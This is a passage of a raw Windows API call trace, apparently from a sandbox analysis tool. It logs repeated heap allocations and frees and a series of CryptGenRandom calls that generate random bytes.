(HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.038] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.038] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.038] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.038] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.039] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.039] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.039] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.040] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.040] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.040] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.041] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.041] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.041] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.041] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.041] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.041] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.042] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.042] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.042] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.043] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.043] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.043] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.044] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.044] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.044] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.044] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.044] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.044] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.045] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.045] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.045] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.046] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.046] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.046] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.047] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.047] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.047] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.048] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.048] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.048] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.048] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.048] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.049] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.049] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.049] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.049] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.050] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.050] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.050] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.051] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.051] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.051] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.052] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.052] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.052] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.052] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.052] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.052] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.053] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.053] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.053] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.054] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.054] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.054] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.055] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.055] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.055] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.055] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.055] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.055] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.056] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.056] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.056] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.057] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.057] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.057] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.058] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.058] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.058] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.058] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.058] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.059] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.059] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.059] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.059] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.060] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.060] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0031.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0031.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0031.060] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.061] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.061] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0031.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511168 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511270 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511378 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511780 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511270 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511378 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514518 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] 